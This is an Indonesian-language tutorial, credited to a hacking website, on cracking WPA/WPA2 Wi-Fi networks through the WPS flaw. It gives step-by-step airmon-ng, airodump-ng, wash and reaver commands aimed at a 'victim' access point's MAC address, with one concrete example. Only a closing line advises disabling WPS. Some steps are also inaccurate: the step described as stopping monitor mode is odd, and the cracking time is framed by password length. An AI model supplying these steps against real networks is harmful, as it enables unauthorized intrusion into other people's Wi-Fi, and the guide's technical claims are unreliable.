Reaver: 5 Langkah Menjebol WPA

Sumber: http://www.hacking-tutorial.com/hacking-tutorial/wifi-hacking-cracking-wpa2-password

Sebuah cacat dalam fitur ditambahkan ke WiFi, yaitu WiFi Protected Setup (WPS), memungkinkan keamanan WPA dan WPA2 bisa di lewati dan secara effektif tidak berfungsi dalam banyak situasi. Banyak Access Point memiliki WiFi Protected Setup (WPS) diaktifkan secara default (bahkan setelah hard reset Access Point).

Kebutuhan

Wireless card (support promiscuous mode)
Access point with WPA2 and WPS enables

Langkah

Cek wireless card

airmon-ng

Perintah ini akan memberikan daftar wireless card yang menempel pada komputer.

Stop monitoring mode

airmon-ng stop wlan0

Capture traffic wifi

airodump-ng wlan0

Informasi yang diberikan:

BSSID (Basic Service Set Identification): the MAC address of access point
PWR: Signal level reported by the card.
Beacons: Number of announcements packets sent by the AP
#Data: Number of captured data packets (if WEP, unique IV count), including data broadcast packets.
#/s: Number of data packets per second measure over the last 10 seconds.
CH: Channel number (taken from beacon packets).
MB: Maximum speed supported by the AP. If MB = 11, it's 802.11b, if MB = 22 it's 802.11b+ and higher rates are 802.11g.
ENC: Encryption algorithm in use.
CIPHER: The cipher detected. TKIP is typically used with WPA and CCMP is typically used with WPA2.
AUTH: The authentication protocol used.
ESSID: Shows the wireless network name. The so-called “SSID”, which can be empty if SSID hiding is activated.

Cek WPS di enable di AP

wash -i wlan0 -c 8 -C -s

Jika WPS Locked status adalah No, kita siap untuk meng-crack - lanjutkan.

Crack WPA2 menggunakan reaver

reaver -i <your_interface> -b <wi-fi victim MAC address> –fail-wait=360

Untuk AP yang spesifik, misalnya

reaver -i wlan0 -b E0:05:C5:5A:26:94 –fail-wait=360

Akan membutuhkan 5 jam-an untuk meng-crack 19 karakter di WPA2 password.

Kesimpulan

WPA dan WPA2 security di implementasikan tanpa Wi-Fi Protected Setup (WPS) tidak akan terpengaruh oleh vulnerability ini.
Kita perlu mematikan fitur WPS/QSS di access point.

Referensi

http://www.hacking-tutorial.com/hacking-tutorial/wifi-hacking-cracking-wpa2-password